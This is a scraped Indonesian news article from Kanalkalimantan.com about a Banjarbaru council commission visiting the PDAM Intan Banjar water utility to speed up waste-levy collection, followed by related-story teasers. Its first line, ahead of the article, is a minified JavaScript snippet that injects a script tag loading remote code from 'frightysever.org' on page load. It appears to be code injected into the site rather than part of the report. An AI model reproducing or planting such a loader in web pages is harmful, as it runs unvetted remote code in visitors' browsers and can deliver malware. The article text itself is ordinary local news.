(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi III DPRD Banjarbaru melakukan kunjungan kerja ke PDAM Intan Banjar, Selasa (2/3/2021). Tujuan kegiatan itu untuk memfasilitasi kerja sama antara Dinas Lingkungan Hidup (LH) dan PDAM Intan Banjar dalam mengelola pemungutan retribusi sampah.
“Kami mereview kembali janji dari manajemen PDAM Intan Banjar satu tahun lalu yang ingin membantu Pemko dalam memungut retribusi persampahan di Banjarbaru,” kata Ketua Komisi III, Takyin Baskoro.
Dijelaskan Baskoro bahwa pemungutan retribusi persampahan ini sebenarnya telah diatur dalam Peraturan Daerah (Perda) yang disahkan 2011 silam dan mengalami perubahan pada tahun 2016. Sayangnya, implementasi dari Perda tersebut belum bisa dieksekusi hingga sampai saat ini.
“Untuk itu kami juga ingin mengevaluasi apa yang menyebabkan kerja sama terkait tata kelola pemungutan retribusi persampahan di Banjarbaru belum bisa dieksekusi. Sementara di daerah-daerah lain sudah berjalan, contohnya Banjarmasin,” lanjut Baskoro.
Pemungutan retribusi sampah dengan menggandeng perusahaan BUMD (Badan Usaha Milik Daerah) diharapkan dapat mendongkrak pendapatan daerah. Secara teknis, masyarakat Banjarbaru nantinya akan membayar iuran retribusi persampahan/kebersihan melalui rekening milik PDAM dan selanjutnya akan disetor ke kas daerah.
Namun untuk mewujudkan hal tersebut, tentunya Dinas LH Banjarbaru sebagai leading sektor persampahan harus lebih dulu meneken kerja sama dengan PDAM Intan Banjar.
Baskoro mengaku memahami status PDAM Intan Banjar yang juga dimiliki dua pemegang saham lain, yakni Pemkab Banjar dan Pemprov Kalsel. Di samping itu, hal yang wajar apabila pihak PDAM merasa was-was jika munculnya persoalan-persoalan nantinya.
“Maka dari itu saya tekankan lagi Komisi III dalam hal ini memfasilitasi mitra kerja kami yakni Dinas LH Banjarbaru. Sudah cukup lama kami menunggu kerja sama ini dan nyatanya belum berjalan. Makanya kami datang ke sana untuk mengetahui lebih jauh apa persoalannya. Tadi, .Dirut PDAM Intan Banjar telah berkomitmen mengupayakan sistem pungutan retribusi persampahan ini akan berjalan dalam beberapa bulan ke depan,” tuntas Politisi Partai Nasdem tersebut. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More
KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
This website uses cookies.